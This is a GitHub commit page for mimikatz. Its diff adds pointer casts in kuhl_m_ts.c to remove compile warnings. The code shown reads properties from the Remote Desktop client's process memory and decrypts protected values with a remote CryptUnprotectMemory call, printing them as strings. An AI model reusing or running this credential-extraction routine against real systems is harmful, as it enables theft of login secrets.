Skip to content

Commit 59852b7

Browse files
committed
[change] Convert pointer to DWORD_PTR first to eliminate compile warning.
1 parent ac143b4 commit 59852b7

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

mimikatz/modules/kuhl_m_ts.c

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -477,15 +477,15 @@ void kuhl_m_ts_mstsc_MemoryAnalysis_property(PKULL_M_MEMORY_HANDLE hMemory, PVOI
477477
switch(pProperties[i].dwType)
478478
{
479479
case 1:
480-
kprintf(L"[ dword ] %u (0x%08x)", (DWORD) pProperties[i].pvData, (DWORD) pProperties[i].pvData);
480+
kprintf(L"[ dword ] %u (0x%08x)", (DWORD)(DWORD_PTR)pProperties[i].pvData, (DWORD)(DWORD_PTR)pProperties[i].pvData);
481481
break;
482482

483483
case 2:
484-
kprintf(L"[ word? ] %u (0x%04x)", (WORD) pProperties[i].pvData, (WORD) pProperties[i].pvData);
484+
kprintf(L"[ word? ] %u (0x%04x)", (WORD)(DWORD_PTR)pProperties[i].pvData, (WORD)(DWORD_PTR)pProperties[i].pvData);
485485
break;
486486

487487
case 3:
488-
kprintf(L"[ bool ] %s", ((BOOL) pProperties[i].pvData) ? L"TRUE" : L"FALSE");
488+
kprintf(L"[ bool ] %s", ((BOOL)(DWORD_PTR)pProperties[i].pvData) ? L"TRUE" : L"FALSE");
489489
break;
490490

491491
case 4:
@@ -501,26 +501,26 @@ void kuhl_m_ts_mstsc_MemoryAnalysis_property(PKULL_M_MEMORY_HANDLE hMemory, PVOI
501501

502502
case 6:
503503
kprintf(L"[protect] ");
504-
if(pProperties[i].pvData && (DWORD) pProperties[i].unkp2)
504+
if(pProperties[i].pvData && (DWORD)(DWORD_PTR)pProperties[i].unkp2)
505505
{
506-
aDataBuffer.address = (PBYTE) LocalAlloc(LPTR, (DWORD) pProperties[i].unkp2);
506+
aDataBuffer.address = (PBYTE) LocalAlloc(LPTR, (DWORD)(DWORD_PTR)pProperties[i].unkp2);
507507

508508
if(aDataBuffer.address)
509509
{
510510
aProcess.address = pProperties[i].pvData;
511-
if(kull_m_memory_copy(&aDataBuffer, &aProcess, (DWORD) pProperties[i].unkp2))
511+
if(kull_m_memory_copy(&aDataBuffer, &aProcess, (DWORD)(DWORD_PTR)pProperties[i].unkp2))
512512
{
513513
if(pProperties[i].dwFlags & 0x800)
514514
{
515-
if(kull_m_crypto_remote_CryptUnprotectMemory(aProcess.hMemory, aDataBuffer.address, (DWORD) pProperties[i].unkp2, CRYPTPROTECTMEMORY_SAME_PROCESS))
515+
if(kull_m_crypto_remote_CryptUnprotectMemory(aProcess.hMemory, aDataBuffer.address, (DWORD)(DWORD_PTR)pProperties[i].unkp2, CRYPTPROTECTMEMORY_SAME_PROCESS))
516516
{
517517
kprintf(L"\'%.*s\'", *(PDWORD) aDataBuffer.address / sizeof(wchar_t), ((PBYTE) aDataBuffer.address) + sizeof(DWORD));
518518
}
519519
else PRINT_ERROR(L"CryptUnprotectMemory");
520520
}
521521
else
522522
{
523-
kull_m_string_wprintf_hex(aDataBuffer.address, (DWORD) pProperties[i].unkp2, 0);
523+
kull_m_string_wprintf_hex(aDataBuffer.address, (DWORD)(DWORD_PTR)pProperties[i].unkp2, 0);
524524
}
525525
}
526526
LocalFree(aDataBuffer.address);

0 commit comments

Comments
 (0)